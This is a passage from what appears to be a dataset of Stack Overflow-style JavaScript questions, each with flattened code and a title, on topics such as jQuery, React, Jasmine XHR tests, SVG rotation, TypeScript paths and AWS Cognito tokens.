missing here ? And is there an idiomatic way to iterate over all the properties in the prototype as well ? I tested this in Chrome and IE10.Thanks in advance . var obj = function ( ) { } ; // functional objectobj.foo = 'foo ' ; obj.prototype.bar = 'bar ' ; for ( var prop in obj ) { console.log ( prop ) ; }",How to iterate over an object 's prototype 's properties "JS : Pretty new to jQuery and JavaScript so please be gentle ... I am working on a POC to create a `` column mapping '' page where the user is able to drag and drop a list of `` column headers '' to a grid of new column headers . I need to build an array that I can send back to a SQL database . I have this part ( mostly ) functioning how I would like . When the item is dragged from the column list on the left on to the header grid on the right , if the item exists , the code should update/replace the array item at that index . If the item does not exist , it should add the item to the array.For example : If you drag `` First Name '' to `` Headers '' it should be added at index position 0 . If you then drag `` First Name '' to `` with '' it should remove the `` First Name '' value at index 0 and add the value at position 1 . If you then drag `` Last Name '' to `` with '' it should update the array at position 1 with the `` Last Name '' value . JSFiddle : https : //jsfiddle.net/qxwzcn9w/4/Eventually I will be sending the index values back to the database so bonus points if you notice any red flags or `` gotchas '' . Thanks ! $ ( document ) .ready ( ( ) = > { $ ( function ( ) { $ ( '.item ' ) .draggable ( { cursor : `` crosshair '' , cursorAt : { left : 5 } , distance : 10 , opacity : 0.75 , revert : true , snap : `` .target '' , containment : `` window '' } ) ; } ) ; $ ( function ( ) { var array = [ ] ; var arraytext = `` ; $ ( '.target ' ) .droppable ( { accept : `` .item '' , tolerance : 'pointer ' , activeClass : 'active ' , hoverClass : 'highlight ' , drop : function ( event , ui ) { var dropped = $ ( this ) ; var dragged = $ ( ui.draggable ) ; $ ( function ( index , item ) { var test = `` ; array.push ( $ ( dragged ) .text ( ) ) ; arraytext = JSON.stringify ( array ) ; test += `` Index Value = `` + $ ( dropped ) .index ( ) + `` , Text = `` + $ ( dragged ) .text ( ) + `` < br/ > '' ; $ ( ' # test ' ) .html ( test ) ; $ ( ' # array ' ) .text ( arraytext ) ; } ) ; } } ) ; } ) ; } ) ; # container { border : solid black 1px ; margin : 0 auto ; height : 800px ; } # gridview { border : 2px solid # 292da0 ; border-radius : 5px ; background-color : # 7577a3 ; display : grid ; grid-template-columns : repeat ( auto-fit , 100px ) ; grid-template-rows : auto ; margin-left : 105px ; } .target { border : 2px solid # 1c1c3a ; border-radius : 5px ; background-color : # a7a7ef ; padding : 1em ; } # flex { border : 2px solid # 292da0 ; border-radius : 5px ; width : 100px ; background-color : # 7577a3 ; display : flex ; flex-flow : column wrap ; justify-content : flex-end ; float : left ; } .item { border : 2px solid # 1c1c3a ; border-radius : 5px ; background-color : # a7a7ef ; padding : 1em ; } .active { background-color : blue ; color : white ; border : 2px solid black ; } .highlight { background-color : yellow ; color : black ; border : 2px solid blue ; } .table { border : solid black 1px ; width : 86px ; padding : 5px ; } < script src= '' https : //code.jquery.com/jquery-3.2.1.min.js '' > < /script > < script src= '' https : //code.jquery.com/ui/1.12.0/jquery-ui.min.js '' > < /script > < div id= '' container '' > Test : < div id= '' test '' > < /div > Array : < div id= '' array '' > < /div > < div id= '' gridview '' > < div class= '' target '' > Headers < /div > < div class= '' target '' > with < /div > < div class= '' target '' > different < /div > < div class= '' target '' > column < /div > < div class= '' target '' > names < /div > < /div > < span > < div id= '' flex '' > < div class= '' item '' > First Name < /div > < div class= '' item '' > Last Name < /div > < div class= '' item '' > Code < /div > < div class= '' item '' > Date < /div > < div class= '' item '' > Amount < /div > < /div > < table > < thead > < tr > < td class= '' table '' > Some < /td > < td class= '' table '' > Column < /td > < td class= '' table '' > Data < /td > < td class= '' table '' > Goes < /td > < td class= '' table '' > Here < /td > < /tr > < /thead > < tr > < td class= '' table '' > Other Data < /td > < td class= '' table '' > Other Data < /td > < td class= '' table '' > Other Data < /td > < td class= '' table '' > Other Data < /td > < td class= '' table '' > Other Data < /td > < /tr > < /table > < /span > < /div >",How to update javascript array if item exists in that index position ? "JS : I am currently developing a webpage for an iPhone which contains a DIV element that the user can touch and drag around . In addition , when the user drags the element to the top or bottom of the device 's screen , I want to automatically scroll the page up or down.The problem I am having is trying to determine a reliable formula to get the coordinates in the onTouchMove event that coorespond with the user 's finger reaching the top or the bottom of the device viewport . My current formula seems tedious and I feel there may be an easier way to do this.My current formula to determine if the touch event has reached the bottom of the screen : I have done a bit of Javascript reflection on objects such as the window , document , body , e.touches to see if I could find a set of numbers that would always add up to equal the top or bottom of the screen , but without reliable success . Help with this would be greatly appreciated . function onTouchMoveHandler ( e ) { var orientation=parent.window.orientation ; var landscape= ( orientation==0 || orientation==180 ) ? true : false ; var touchoffsety= ( ! landscape ? screen.height - ( screen.height - screen.availHeight ) : screen.width - ( screen.width - screen.availWidth ) ) - e.touches [ 0 ] .screenY + ( window.pageYOffset * .8 ) ; if ( touchoffsety < 40 ) alert ( 'finger is heading off the bottom of the screen ' ) ; }",iOS touches to device 's viewport x/y coordinates via Javascript "JS : Supposedly a jquery object can be initialized from string . This can often happen when processing ajax results , i.e . I 'm trying to replicate http : //api.jquery.com/jQuery.post/However , I 'm seeing strange behavior : The first alert shows : content.text ( ) = helloworldThe second alert shows : content.html ( ) = helloWhat 's happening here ? SolutionThanks everyone for the explanations . I ended up adding another layer of < div > to have a single child of < body > , as in function test ( ) { var content = $ ( `` < html > < body > < div > hello < /div > < div > world < /div > < /body > < /html > '' ) ; alert ( `` content.text ( ) = `` + content.text ( ) ) ; alert ( `` content.html ( ) = `` + content.html ( ) ) ; } < html > < body > < div > < === added < div > hello < /div > < div > world < /div > < /div > < /body > < /html >",jquery.html ( ) returns only first text when loaded from string "JS : As I was testing my web app in Chrome for iOS ( both iPhone and iPad ) , I noticed a weird ID appended to user agent string , e.g . : would produce something like this ( note the `` 3810AC74-327F-43D7-A905-597FF9FDFEAB '' part at the end ) : This ID seems to be tab specific and persists even when going to a different site.My question is , if anyone knows anything about this and what it may be used for ? Update : This GUID was appended to overcome the limitations of UIWebView . Kudos to eric for pointing this out in the comments . alert ( navigator.userAgent ) Mozilla/5.0 ( iPhone ; CPU iPhone OS 5_1_1 like Mac OS X ; en-us ) AppleWebKit/534.46.0 ( KHTML , like Gecko ) CriOS/21.0.1180.77 Mobile/9B206 Safari/7534.48.3 ( 3810AC74-327F-43D7-A905-597FF9FDFEAB )",Unique tab ID appended to user agent string in Chrome for iOS ? "JS : I 'm testing a function that makes AJAX requests , allowing retries when the network is not working or there are timeouts because the connection is unstable ( I 'm thinking about mobile devices ) .I 'm sure it works because I 've used it integrated with other code , but I want to have a proper test.However I have n't been able to create a unit test to ensure it formally . I 'm using jasmine 2.3 along with karma and here is my code so far : And this is my test : And this is the output of the test : var RETRIES=2 ; var TIMEOUT=1000 ; function doRequest ( method , url , successFn , errorFn , body , retries ) { var request = new XMLHttpRequest ( ) ; retries = retries === undefined ? RETRIES : retries ; request.open ( method , url ) ; request.setRequestHeader ( 'Accept ' , 'application/json ' ) ; request.setRequestHeader ( 'Content-Type ' , 'application/json ' ) ; request.onload = function ( ) { if ( request.status < 300 & & request.status > = 200 ) { successFn ( JSON.parse ( request.responseText ) ) ; } else { if ( errorFn ) { errorFn ( this.status , this.responseText ) ; } } } ; request.onerror = function ( ) { if ( this.readyState === 4 & & this.status === 0 ) { //there is no connection errorFn ( 'NO_NETWORK ' ) ; } else { errorFn ( this.status , this.responseText ) ; } } ; if ( retries > 0 ) { request.ontimeout = function ( ) { doRequest ( method , url , successFn , errorFn , body , retries - 1 ) ; } ; } else { request.ontimeout = function ( ) { errorFn ( 'timeout ' ) ; } ; } request.timeout = TIMEOUT ; if ( body ) { request.send ( body ) ; } else { request.send ( ) ; } } describe ( 'Ajax request ' , function ( ) { 'use strict ' ; var RETRIES=2 ; var TIMEOUT=1000 ; beforeEach ( function ( ) { jasmine.Ajax.install ( ) ; jasmine.clock ( ) .install ( ) ; } ) ; afterEach ( function ( ) { jasmine.Ajax.uninstall ( ) ; jasmine.clock ( ) .uninstall ( ) ; } ) ; it ( ' should call error callback function when a tiemout happens ' , function ( ) { var doneFn = jasmine.createSpy ( 'onLoad ' ) ; var errorFn=jasmine.createSpy ( 'onTimeout ' ) ; doRequest ( 'GET ' , 'http : //www.mockedaddress.com ' , doneFn , errorFn , null , RETRIES ) ; var request = jasmine.Ajax.requests.mostRecent ( ) ; expect ( request.method ) .toBe ( 'GET ' ) ; jasmine.clock ( ) .tick ( TIMEOUT* ( RETRIES+1 ) +50 ) ; //first attempt and then 2 retries expect ( errorFn ) .toHaveBeenCalled ( ) ; // assertion failed } ) ; } ) ; Expected spy onTimeout to have been called . at Object. < anonymous > ( js/test/doRequest_test.js:75:0 ) Chrome 42.0.2311 ( Windows 7 ) : Executed 1 of 1 ( 1 FAILED ) ERROR ( 0.007 secs / 0.008 secs )",How can I simulate a timeout event in a XHR using jasmine ? "JS : This is not a duplicate of the other question.I found this talking about rotation about the center using XML , tried to implement the same using vanilla JavaScript like rotate ( 45 , 60 , 60 ) but did not work with me.The approach worked with me is the one in the snippet below , but found the rect not rotating exactly around its center , and it is moving little bit , the rect should start rotating upon the first click , and should stop at the second click , which is going fine with me.Any idea , why the item is moving , and how can I fix it.UPDATEI found the issue to be calculating the center point of the rect using the self.getBoundingClientRect ( ) there is always 4px extra in each side , which means 8px extra in the width and 8px extra in the height , as well as both x and y are shifted by 4 px , I found this talking about the same , but neither setting self.setAttribute ( `` display '' , `` block '' ) ; or self.style.display = `` block '' ; worked with me.So , now I 've one of 2 options , either : Find a solution of the extra 4px in each side ( i.e . 4px shifting of both x and y , and total 8px extra in both width and height ) , or calculating the mid-point using : self.Pc = { x : self.x.baseVal.value + self.width.baseVal.value/2 , y : self.y.baseVal.value + self.height.baseVal.value/2 } ; The second option ( the other way of calculating the mid-point worked fine with me , as it is rect but if other shape is used , it is not the same way , I 'll look for universal way to find the mid-point whatever the object is , i.e . looking for the first option , which is solving the self.getBoundingClientRect ( ) issue . var NS= '' http : //www.w3.org/2000/svg '' ; var SVG=function ( el ) { return document.createElementNS ( NS , el ) ; } var svg = SVG ( `` svg '' ) ; svg.width='100 % ' ; svg.height='100 % ' ; document.body.appendChild ( svg ) ; class myRect { constructor ( x , y , h , w , fill ) { this.SVGObj= SVG ( 'rect ' ) ; // document.createElementNS ( NS , '' rect '' ) ; self = this.SVGObj ; self.x.baseVal.value=x ; self.y.baseVal.value=y ; self.width.baseVal.value=w ; self.height.baseVal.value=h ; self.style.fill=fill ; self.onclick= '' click ( evt ) '' ; self.addEventListener ( `` click '' , this , false ) ; } } Object.defineProperty ( myRect.prototype , `` node '' , { get : function ( ) { return this.SVGObj ; } } ) ; Object.defineProperty ( myRect.prototype , `` CenterPoint '' , { get : function ( ) { var self = this.SVGObj ; self.bbox = self.getBoundingClientRect ( ) ; // returned only after the item is drawn self.Pc = { x : self.bbox.left + self.bbox.width/2 , y : self.bbox.top + self.bbox.height/2 } ; return self.Pc ; } } ) ; myRect.prototype.handleEvent= function ( evt ) { self = evt.target ; // this returns the ` rect ` element this.cntr = this.CenterPoint ; // backup the origional center point Pc this.r =5 ; switch ( evt.type ) { case `` click '' : if ( typeof self.moving == 'undefined ' || self.moving == false ) self.moving = true ; else self.moving = false ; if ( self.moving == true ) { self.move = setInterval ( ( ) = > this.animate ( ) ,100 ) ; } else { clearInterval ( self.move ) ; } break ; default : break ; } } myRect.prototype.step = function ( x , y ) { return svg.createSVGTransformFromMatrix ( svg.createSVGMatrix ( ) .translate ( x , y ) ) ; } myRect.prototype.rotate = function ( r ) { return svg.createSVGTransformFromMatrix ( svg.createSVGMatrix ( ) .rotate ( r ) ) ; } myRect.prototype.animate = function ( ) { self = this.SVGObj ; self.transform.baseVal.appendItem ( this.step ( this.cntr.x , this.cntr.y ) ) ; self.transform.baseVal.appendItem ( this.rotate ( this.r ) ) ; self.transform.baseVal.appendItem ( this.step ( -this.cntr.x , -this.cntr.y ) ) ; } ; for ( var i = 0 ; i < 10 ; i++ ) { var x = Math.random ( ) * 100 , y = Math.random ( ) * 300 ; var r= new myRect ( x , y,10,10 , ' # '+Math.round ( 0xffffff * Math.random ( ) ) .toString ( 16 ) ) ; svg.appendChild ( r.node ) ; }",rotating SVG rect around its center using vanilla JavaScript "JS : In Javascript , I have code like this : That is , after the sound.play method has finished , I want to alert that it is finished . This works in IE9 , but is there a way to do it in Chrome ? I have also tried a callback like the code below , but it does n't work var sound = new Audio ( name ) ; sound.onended = function ( ) { alert ( `` finished '' ) ; } sound.play ( ) ; sound.play ( function ( ) { alert ( `` finished '' ) } ) ;",Call function when sound has ended "JS : Basically , I have a table with each cell containing a checkbox . I want to be able to tick the checkbox by clicking anywhere within the cell and change the color of that cell which I have done.Now the problem is that when I tick the checkbox and then untick it , that cell is not getting that cell color back , as in the when the checkbox is unticked its cell color should be back to white . Can anyone help me ? Help would be highly appreciated.Here is my fiddle http : //jsfiddle.net/UcDMW/50/ $ ( function ( ) { $ ( 'table tr td ' ) .on ( 'click ' , function ( e ) { if ( e.target.type == `` checkbox '' ) { if ( $ ( this ) .is ( ' : checked ' ) ) { $ ( this ) .attr ( 'checked ' , false ) ; $ ( this ) .css ( 'background-color ' , 'white ' ) ; } else { $ ( this ) .attr ( 'checked ' , true ) ; $ ( this ) .css ( 'background-color ' , ' # DFF0D8 ' ) ; } return ; } else { if ( $ ( this ) .find ( 'input : checkbox ' ) .is ( ' : checked ' ) ) { $ ( this ) .css ( 'background-color ' , 'white ' ) ; $ ( this ) .find ( 'input : checkbox ' ) .attr ( 'checked ' , false ) ; } else { $ ( this ) .find ( 'input : checkbox ' ) .attr ( 'checked ' , true ) ; $ ( this ) .css ( 'background-color ' , ' # DFF0D8 ' ) ; } } } ) ; } ) ;",Tick a checkbox in a table cell by clicking anywhere in the table cell and change background color of that cell "JS : I have the following C # code that i need to convert to javascript : i see that javascript has a split ( ) function as well but i wanted to see if there is built in support for the other checks or i have to do an additional loop around the array afterwards to `` clean up '' the data ? static private string [ ] ParseSemicolon ( string fullString ) { if ( String.IsNullOrEmpty ( fullString ) ) return new string [ ] { } ; if ( fullString.IndexOf ( ' ; ' ) > -1 ) { return fullString.Split ( new [ ] { ' ; ' } , StringSplitOptions.RemoveEmptyEntries ) .Select ( str = > str.Trim ( ) ) .ToArray ( ) ; } else { return new [ ] { fullString.Trim ( ) } ; } }",What is the best way to do split ( ) in javascript and ignore blank entries ? "JS : How can I have a function accept either named arguments ( foo ( { a : 'hello ' , b : 'it is me ' } ) ) or positional arguments ( foo ( 'hello ' , 'it is me ' ) ) ? I understand that named arguments can be simulated by passing an object to the function : But that does not allow me to accept positional arguments to be passed.I would like to use ES6 but anything from ES5 would be ok too . function foo ( options ) { options = options || { } ; var a = options.a || 'peanut ' ; // whatever default value var b = options.b || 'butter ' ; // whatever default value console.log ( a , b ) ; } // ES6 allows automatic destructuringfunction foo ( { a = 'peanut ' , b = 'butter ' } = { } ) { console.log ( a , b ) ; }",Allow either named arguments or positional arguments in Javascript "JS : Is there some way to intercept the HTML output stream in asp.net and make modifications ? Eg using httpmodules or something ? I know this is possible using java servlets and assume there must be an elegant way to do this with asp.net.My purpose is to combine the many javascript files into one composite script which has been minified/packed , to make the page load faster.Eg , if my page normally outputs the following in the page head : I want to replace that with the following : ( also i realise i 'll have to create all.js somehow ) .Thanks ! < script type= '' text/javascript '' src= '' /scripts/blah.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/yada.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/all.js '' > < /script >","Is there some way to intercept and modify the html output stream in asp.net , to combine the javascript ?" "JS : It 's seems use setState to animate elements by listening to window.scrollY would make very choppy effect . I ended up with the solution of ref to manipulate DOM directly to avoid the choppy effect ... Why is it so choppy when using the first solution ? Is this a right way to do scrolling animation in React ? const scrollY = window.scrollY ; animation01 : { transformY : ( scrollY > breakPoint01 ) ? ` translateY ( 200px ) ` : ` translateY ( 0px ) ` , } , const breakPoint00 = 1250const breakPoint01 = breakPoint00 + 230const animation01 = ReactDOM.findDOMNode ( this.animation01 ) if ( scrollY > breakPoint00 ) { animation01.style.transform = ` translateY ( 0px ) ` } else ( scrollY > breakPoint01 ) { animation01.style.transform = ` translateY ( 200px ) ` }",React scroll animation with setState is choppy "JS : I am going through react official docs to understand about react lazy.As per docs , https : //reactjs.org/docs/code-splitting.html # reactlazyThis will automatically load the bundle containing the OtherComponent when this component gets rendered.React.lazy takes a function that must call a dynamic import ( ) . This must return a Promise which resolves to a module with a default export containing a React component.Normal importLazy importBut I couldn ’ t understand much from the docs about the advantage of using lazy for importing the component . Also Why promise comes into picture for importing modules/components ? import OtherComponent from './OtherComponent ' ; function MyComponent ( ) { return ( < div > < OtherComponent / > < /div > ) ; } const OtherComponent = React.lazy ( ( ) = > import ( './OtherComponent ' ) ) ; function MyComponent ( ) { return ( < div > < OtherComponent / > < /div > ) ; }",What is lazy in React ? "JS : How can I close/exit my PWA ? I had assumed I 'd be able to do this : Unfortunately , that results in the usual error : Scripts may close only the windows that were opened by it.Is there any way to programmatically close my PWA ? window.close ( ) ;",Close/exit a PWA programmatically "JS : In a browser , I 'm trying to determine if the point representing the mouse position is in what I call an `` outer area '' . For example , in the image attached , the outer area is the one with a blue background.In the code and image W represents the width of the viewport of the browser , while H represents the height , and x , y for mouse positionRight now , I 'm using this piece of code to do it : While it works as it is , I 'm wondering if is there any better way to it ? if ( ( ( x > 0 & & x < w1 ) || ( x > w2 & & x < W ) ) || ( ( x > w1 & & x < w2 ) & & ( ( y > 0 & & y < h1 ) || ( y > h2 & & y < H ) ) ) ) console.log ( `` we are in the outer area '' )",Determining if a mouse position is near the edges of the browser "JS : I have a need to calculate percentages of match between 2 Javascript objects . How can I achieve this ? Examples : obj1= { key1 : `` val1 '' , key2 : `` val2 '' , key3 : `` val3 '' , key4 : `` val4 '' } obj2= { key5 : `` val5 '' , key6 : `` val6 '' } //result should be : 0 % obj1= { key1 : `` val1 '' , key2 : `` val2 '' , key3 : `` val3 '' , key4 : `` val4 '' } obj2= { key1 : `` val1 '' , key2 : `` val2 '' } //result should be : 50 %",How can I calculate percentages of match between 2 Javascript objects ? "JS : I have a typescript project that uses paths for imports . For example : Thus the project can import files directly from using statement like : For publishing to NPM I have I 'm compiling the typescript files and then copying the result to a dist folder . Thus all the *.d.ts and corresponding *.js files are in the dist folder . I also copy package.json to the dist folder.I now test this by generation a new typescript project and then run npm i -S ../example/dist , in order to install the project and attempt to run some of the compiled typescript code.However the relative imports no longer work . For example if boo.ts depends on foo.ts it will say that it ca n't resolve foo.ts.When I look at the *.d.ts files they contain the same paths that were used the source code before it was compiled . Is it possible to turn these into relative paths ? UpdateI looks as if generating relative paths for Node is something Typescript does not perform automatically . If you would like this feature , as I would , please provide feedback on this bug report . `` paths '' : { `` @ example/* '' : [ `` ./src/* '' ] , } import { foo } from `` @ example/boo/foo '' ;",Compiling typescript path aliases to relative paths for NPM publishing ? "JS : I want to build an online exam , this exam has 5 pages , there is a count down timer ( 120 seconds ) and 4 questions on each page . After 120 seconds users are automatically transferred to the next page , or they can click on next button before that.Laravel5.4 and VueJs , There is an Ajax request for every question that user answers . What I want is preventing the user from seeing other pages . Each page has to be visible for maximum 120 seconds . The user should not be able to click on back button and see previous pages . Is this possible at all ? I want to create this app with Vuejs and vue-router but I do n't know how to implement this with vue-router , I have done some research but got not much result ! Or maybe I should not use vue-router , and use my own simple router , for example : Any thoughts are appreciated . Thank you.UPDATE : In this exam , user can see a list of English words randomly selected from words table and nothing else ! The user clicks on every word he thinks he knows its meaning ! And an ajax request for every click to save the id of the word in results table . Also , There is a fake_words table that is 50 words randomly is selected in addition to actual words if the user clicks on fake words more than 3 times , the test will fail . The final result will tell the user how much vocabulary skill he has.UPDATE 2 : I tried to do this with vue-router , but before starting to code , I thought maybe it should not be implemented with vue-router because all questions randomly get from DB in one query , then before exam starts , all of them are send ( ajax ) to the browser , now what should I do ? Slice them in separate arrays and send each array of questions to one of my pages ? do I have to do that ? can not I use only one v-for for them ? what if I decide to change number of questions ? Then I think I have to touch my code every time and create new page for vue-router or remove one of pages . $ ( `` # page1 '' ) .show ( ) ; $ ( `` # page2 '' ) .hide ( ) ; $ ( `` # page3 '' ) .hide ( ) ; ..// after 120 secs $ ( `` # page1 '' ) .hide ( ) ; $ ( `` # page2 '' ) .show ( ) ; $ ( `` # page3 '' ) .hide ( ) ; .. // i think this is not secure !","Is it Possible to lock all routes except one , in vue-router ? Is it secure ? Or maybe I should use another method ?" "JS : I am using node and i have used .babel-nodeMy spread syntax is not working as expected . Here is my code.The line where i have used console.log ( user ) , it works fine.It returns { id : xxx , name : xxxx } and I am getting unexpected data on console.log ( dummyObject ) ; here is what i get.Am I doing something wrong ? Technically it should return the user objectNOTE : I do n't want to use Object.assign `` start '' : `` nodemon -- exec babel-node -- presets es2015 index.js '' export const login = async ( parentValue , { email , password } ) = > { try { const user = await User.findOne ( { email } ) ; console.log ( user ) ; if ( ! user.authenticateUser ( password ) ) { throw new Error ( 'Wrong password ' ) ; } const dummyObject = { ... user } ; console.log ( { dummyObject } ) ; return { ... user } ; } catch ( e ) { console.log ( e ) ; throw new Error ( e.message ) ; } } ; { jojo : { ' $ __ ' : InternalCache { strictMode : true , selected : { } , shardval : undefined , saveError : undefined , validationError : undefined , adhocPaths : undefined , removing : undefined , inserting : undefined , saving : undefined , version : undefined , getters : { } , _id : 5c798295f53323b34cabf1ca , populate : undefined , populated : undefined , wasPopulated : false , scope : undefined , activePaths : [ Object ] , pathsToScopes : { } , cachedRequired : { } , session : undefined , ownerDocument : undefined , fullPath : undefined , emitter : [ Object ] , ' $ options ' : [ Object ] } , isNew : false , errors : undefined , _doc : { _id : 5c798295f53323b34cabf1ca , fullName : 'sarmad ' , password : ' $ 2a $ 10 $ c.XDX75ORXYA4V/hUXWh.usVf2TibmKfY.Zpu3cpTssFaYvsGyhte ' , email : 'sarmad @ gmail.com ' , createdAt : 2019-03-01T19:05:57.454Z , updatedAt : 2019-03-01T19:05:57.454Z , __v : 0 } , ' $ init ' : true } }",Spread syntax returns unexpected object "JS : JSFiddle : https : //jsfiddle.net/uLap7yeq/19/ProblemConsider two elements , canvas and div , which are on the same tree depth and have the same parent . They are both placed on the same position using CSS however div has the higher z-index . How can you capture events from the div and pass them along to the lower z-index ? Do I have to do .dispatchEvent ( ) on the canvas ? EDIT : To clarify , I 'd like the div to receive the event , do whatever it wants and then pass it along to the next z-indexed element.The JSFiddle pasted inline : /* How can I pass the event along to # canvas ? */ $ ( ' # container ' ) .on ( 'click ' , function ( e ) { console.log ( ' # container click ' ) ; } ) ; $ ( ' # canvas ' ) .on ( 'click ' , function ( e ) { console.log ( ' # canvas click ' ) ; } ) ; $ ( ' # other-div ' ) .on ( 'click ' , function ( e ) { console.log ( ' # other-div click ' ) ; } ) ; # other-div { z-index : 1 ; position : absolute ; top : 0 ; left : 0 ; } # canvas { z-index : 0 ; position : absolute ; top : 0 ; left : 0 ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div id= '' container '' > < div id= '' other-div '' > < p > Something < /p > < /div > < canvas id= '' canvas '' width= '' 200 '' height= '' 200 '' > < /canvas > < /div >",Event-bubbling with z-indices "JS : What is the best way to define a class ? I am aware of the fact that this is most of the times a choice of what you prefer to use , but what is the direct difference between these 3 examples ? Example 1Example 2Example 3 Sometimes I use it like this as well : var Class = ( function ( ) { var Private = { } , Public = { } ; var Class = ( function ( ) { function Class ( ) { this.test = 'test ' } return Class ; } ) ( ) ; var c = new Class ( ) ; console.log ( typeof Class ) ; console.log ( c.test ) ; var Class2 = function ( ) { this.test = 'test ' } ; var c2 = new Class2 ( ) ; console.log ( typeof Class2 ) ; console.log ( c2.test ) ; function Class3 ( ) { this.test = 'test ' } ; var c3 = new Class3 ( ) ; console.log ( typeof Class3 ) ; console.log ( c3.test ) ; Private._doSomething = function ( ) { // something } Public.doSomethingElse = function ( ) { // something else } return Public ; } ) ( ) ;",Javascript define class "JS : I had thought that asynchronous processing such as reading file is processed on other thread and notify to main thread when reading is finished in other thread.I tried following.This shows 1500ms.Secondly I tried following.It will show 1500ms if asynchronus process is processed on other thread.However , I got 2500ms.I tried another one.I wait several minute , but there is no message.Does nodejs process heavy processing on main thread ? Should I use child_process when I need reading and writing too many large files ? const fs = require ( `` fs '' ) console.time ( 1 ) fs.readFile ( `` largefile '' , x = > console.timeEnd ( 1 ) ) const fs = require ( `` fs '' ) console.time ( 1 ) fs.readFile ( `` largefile '' , x = > console.timeEnd ( 1 ) ) // block main thread 1secconst s = Date.now ( ) while ( Date.now ( ) - s < 1000 ) ; const fs = require ( `` fs '' ) console.time ( 1 ) fs.readFile ( `` largefile '' , x = > console.timeEnd ( 1 ) ) setInterval ( ( ) = > { const s = Date.now ( ) while ( Date.now ( ) - s < 100 ) ; } , 100 )",Does node.js run asynchronous file reading/writing in main thread ? "JS : Is it possible to make the overflow not hidden but just change the opacity of the content that is overflowing ? So that the parts of the content that are going outside the parent div has opacity of .5 but the parts that remain in the parent are normal ? This would require JavaScript I am assuming if anyone could get me off in the right direction I would be very appreciative . In my fiddle you can drag the image around.FIDDLE < script type='text/javascript ' src='http : //code.jquery.com/jquery-1.5.js ' > < /script > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jqueryui/1.8.7/jquery-ui.js '' > < /script > < script type='text/javascript ' > // < ! [ CDATA [ $ ( window ) .load ( function ( ) { $ ( ' # img_rnd ' ) .resizable ( ) ; $ ( ' # rnd ' ) .draggable ( { appendTo : 'body ' , start : function ( event , ui ) { isDraggingMedia = true ; } , stop : function ( event , ui ) { isDraggingMedia = false ; } } ) ; } ) ; // ] ] > < /script > < link rel= '' stylesheet '' type= '' text/css '' href= '' http : //ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/themes/cupertino/jquery-ui.css '' / > < div id= '' frame '' > < div id= '' rnd '' style= '' display : inline-block '' > < img id= '' img_rnd '' style= '' border:1px solid red '' src= '' http : //blog.stackoverflow.com/audio/stackoverflow-300.png '' / > < /div > < /div > < style > # frame { height : 500px ; width : 500px ; overflow : hidden ; border : 1px solid black ; } < /style >",overflow not hidden but opacity changed "JS : I am trying to take the value of an input text field and use it within a regular expression . Here 's what I have to match the start of a line.It works fine for regular strings that start have alphanumeric characters , but I am using this for dollar amounts as well . When the input field starts with a ' $ ' ( dollar sign ) i get varying results.How can I escape the variable above to be viewed as a simple string ? I 've tried this , but no luck : regex = new RegExp ( '^ ' + inputValue , ' i ' ) regex = new RegExp ( '^ [ ' + inputValue + ' ] ' , ' i ' )",Escape a variable within a Regular Expression "JS : How do I completely unbind inline javascript events from their HTML elements ? I 've tried : undelegating the event from the body elementunbinding the event from the elementand even removing the event attribute from the HTML elementTo my surprise at least , only removing the onchange attribute ( .removeAttr ( 'onchange ' ) ) was able to prevent the event from firing again.I know this is possible with delegates and that 's probably the best way to go , but just play along here . This example is purely hypothetical just for the sake of proposing the question.So the hypothetical situation is this : I 'm writing a javascript validation library that has javascript events tied to input fields via inline HTML attributes like so : But , I 'd like to make the library a little better by unbinding my events , so that people working with this library in a single-page application do n't have to manage my event handlers and so that they do n't have to clutter their code at all by wiring up input events to functions in my hypothetical validation library ... whatever . None of that 's true , but it seems like a decent usecase.Here 's the `` sample '' code of Hypothetical Validation Library.js : http : //jsfiddle.net/CoryDanielson/jwTTf/To test , just type in the textbox and then click elsewhere to fire the change event . Do this with the web inspector open and recording on the Timeline tab . Highlight the region of the timeline that correlates to when you 've fired the change event ( fire the change event multiple times ) and you 'll see the event listeners ( in the window below ) increase by 100 on each change event . If managed & removed properly , each event listener would be properly removed before rendering a new input , but I have not found a way to properly do that with inline javascript events.What that code does is this : onChange , the input element triggers a validation functionThat function validates the input and colors the border if successfulThen after 1 second ( to demonstrate the memory leak ) the input element is replaced with identical HTML 100 times in a row without unbinding the change event ( because I do n't know how to do that.. that 's the problem here ) . This simulates changing the view within a single-page app . This creates 100 new eventListeners in the DOM , which is visible through the web inspector.Interesting Note . $ ( 'input ' ) .removeAttr ( 'onchange ' ) ; will actually prevent the onchange event from being fired in the future , but does not garbage collect the eventListener/DOM stuff that is visible in the web inspector.This screenshot is after change event fires 3 times . Each time , 100 new DOM nodes are rendered with identical HTML and I 've attempted to unbind the onchange event from each node before replacing the HTML.Update : I came back to this question and just did a quick little test using the JSFiddle to make sure that the answer was valid . I ran the 'test ' dozens of times and then waited -- sure enough , the GC came through and took care of business . < input type= '' text '' onchange= '' validateString ( this ) '' > < /input > < input type= '' text '' onchange= '' validateString ( this ) '' > < /input >",Unbind inline javascript events from HTML elements in memory "JS : I 'm attempting to develop a serverless JavaScript web application consisting of API Gateway ( w/ an Amazon Cognito Custom Authorizer ) , Lambda , and DynamoDB . This post is my last attempt to make Cognito work for my needs before completely giving up on it ( for a 2nd time ) . I 'll try to infuse a bit what I 've learned since the Cognito documentation is confusing and lacking.With Cognito , you can develop a custom authentication workflow with your own registration , sign in , etc . web pages . You also have the option to leverage Amazon 's Hosted Web UI to make things a bit simpler ( although with very few HTML/CSS customization options ) . I 'm using the latter . When configuring an App Client for a Cognito User Pool , the most critical decision you have to make is whether to use an Authorization Code Grant or an Implicit Grant . With an Authorization Code Grant , a successful authentication will return a session token containing a JWT id_token , access_token , and refresh_token to your caller . With an Implicit Grant , your caller will receive an Authorization code that can be used to obtain an id_token and an access_token only , with no refresh_token . The Implicit Grant is most suitable for serverless ( or single-page ) applications because it wo n't expose a long-lived refresh_token to the client which can be easily compromised and used to assume valid access to your application . However , the access_token has a fixed expiration of one hour that can not be configured at this time . So , without a refresh token to silently renew the access_token , your user will have to log-in every hour.Since my web application in no way contains sensitive information , I 'm going to use the Authorization Code Grant and persist the tokens in the browser 's LocalStorage ( which is unsafe , not recommended , and a bad practice ) in hopes that , at some point , Cognito will fully comply with the OpenId Spec and provide full support for 